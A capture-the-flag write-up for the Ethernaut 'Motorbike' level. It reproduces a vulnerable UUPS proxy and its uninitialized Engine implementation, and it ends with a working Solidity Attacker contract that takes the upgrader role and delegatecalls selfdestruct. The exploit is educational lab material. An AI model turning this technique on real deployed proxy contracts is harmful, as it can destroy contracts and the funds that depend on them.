Skip to content

Motorbike

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    struct AddressSlot {
        address value;
    }

    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`. 
    // Will run if no other function in the contract matches the call data
    fallback () external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }

    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

Goal

The goal of this challenge is to selfdestruc the Engine contract.

Exploit

In order to finish this CTF we will have to use another smart contract. We can name this contract Attacker.

Again the contracts of this challenge are following the Proxy Upgrade Pattern, more specifically the UUPS pattern. The proxy contract in our case Motorbike acts as a storage layer so any state modification in the implementation contract (in our case Engin) normally doesn't produce side effects to systems using it, since only the logic is used through delegatecalls.

Before we even start with the hack, we must first find the address of the Engine contract. One way to do that is after we deploy a new level instance, take note of the instance address using the web developer console on the Ethernaut page, after that using MetaMask we can open the transaction that created the level instance in a block explorer (Etherscan), when we are in the transaction details page we need to switch to the State tab and search for the contract instance address that we previously noted. We need to show the details of this address (Click to see more), and look for the value that is stored in the 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc storage address. In here in the After field we will find the address of the Engine contract. Next is to remove all the unnecessary 0's from the address and load the Engine contract at this address inside Remix.

The issue in this CTF is that the implementation contract Engine was left uninitialized, which means everyone can call the initialize function inside it and set upgrader and horsePower variables to the desired values.

After the upgrader variable is set to hold the value of the Attacker contract address, we can call upgradeToAndCall function insde Engine and it will delegatecall to the Attacker contract calling the selfdestruct function inside it. Altthough the selfdestruct will be called inside Attacker, since we are delegating the call from the Engine contract it is the Engine contract that will be deleted.

To exploit the contract we need to:

  1. create IEngine interface and define all the functions that we are going to use from Engine
  2. create Attacker contract
  3. create attack(IEngine engine) external function inside the Attacker contract, passing in the Engine contract as function argument, and inside this function we will:

    • call initilize function from Engine in order to set the upgrader variable to the address of the Attacker contract
    • call upgradeToAndCall function with the address of the Attacker contract as argument for newImplementation parameter and the abi encoded string of the kill function (inside which we'll call selfdestruct) as an argument for the data parameter

  4. create kill() function inside Attacker contract, and inside it call selfdestruct, because Engine contract will delegatecall to the Attacker contract calling this kill function, selfdestruct will cause the Engine contract to be deleted instead of the Attacker one.

Attacker contract code

interface IEngine {
    function initialize() external;
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable;
}

contract Attacker {
    function attack(IEngine engine) external {
        engine.initialize();
        engine.upgradeToAndCall(address(this), abi.encodeWithSelector(this.kill.selector));
    }

    function kill() public {
        selfdestruct(payable(address(this)));
    }
}